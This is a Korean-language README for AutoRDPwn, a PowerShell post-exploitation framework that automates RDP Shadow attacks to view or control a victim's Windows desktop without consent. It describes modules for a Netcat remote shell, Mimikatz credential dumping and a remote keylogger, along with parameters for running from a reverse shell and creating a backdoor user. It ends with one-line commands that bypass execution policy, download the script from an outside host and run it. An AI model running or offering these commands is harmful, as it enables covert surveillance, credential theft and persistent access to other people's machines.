AutoRDPwn

AutoRDPwn은 Powershell로 작성된 사후 침투 프레임워크로, 주로 Microsoft Windows 컴퓨터에 대한 Shadow 공격을 자동화하기 위해 설계되었습니다. 이 취약점(Microsoft에서 기능으로 분류)은 원격 공격자가 피해자의 동의 없이 데스크톱을 볼 수 있게 하며, 필요에 따라 제어할 수도 있습니다. 이는 운영 체제 자체의 네이티브 도구를 사용합니다.

추가 모듈 덕분에 Netcat을 통한 원격 셸 획득, Mimikatz를 사용한 시스템 해시 덤프, 원격 키로거 로드 등이 가능합니다. 이 모든 것은 7개 언어로 완전히 직관적인 메뉴를 통해 이루어집니다.

또한, 사용법 섹션에 설명된 일련의 매개변수를 통해 리버스 셸에서 사용할 수 있습니다.

요구 사항

Powershell 4.0 이상

변경 사항

버전 5.1

• 많은 버그 수정

• 미적 개선 및 대기 시간 개선

• 시스템 설정을 통한 프록시 인식 연결

• 이제 .zip 파일을 다운로드하여 오프라인 도구 사용 가능

• Enter 키를 눌러 언어 자동 감지

• Invoke-DCOM이 SharpRDP로 대체됨

• PowerUp이 Invoke-PrivescCheck로 대체됨

• 피해자 측 자동 정리 서브루틴 생성

• 새로운 모듈 사용 가능: AES로 암호화된 SMB Shell

• 새로운 모듈 사용 가능: RunAs로 사용자 변경

*나머지 변경 사항은 CHANGELOG 파일에서 확인할 수 있습니다.

사용법

이 애플리케이션은 로컬, 원격 또는 팀 간 피벗에 사용할 수 있습니다.

리버스 셸에서 원격으로 사용할 때는 다음 매개변수를 사용해야 합니다:

매개변수	설명
-admin / -noadmin	보유한 권한에 따라 하나를 사용합니다
-nogui	메뉴 및 일부 색상 로드를 방지하며, 기능은 보장됩니다
-lang	언어 선택 (English, Spanish, French, German, Italian, Russian 또는 Portuguese)
-option	메뉴와 마찬가지로 공격 실행 방식을 선택할 수 있습니다
-shadow	원격 장치를 볼지 제어할지 결정합니다
-createuser	이 매개변수는 선택 사항이며, 피해자 컴퓨터에 AutoRDPwn:AutoRDPwn 사용자가 생성됩니다
-noclean	피해자 컴퓨터에서 모든 변경 사항을 되돌리는 프로세스를 비활성화합니다

한 줄 로컬 실행:

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"

한 줄 원격 실행 예시:

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1 -admin -nogui -lang English -option 4 -shadow control -createuser"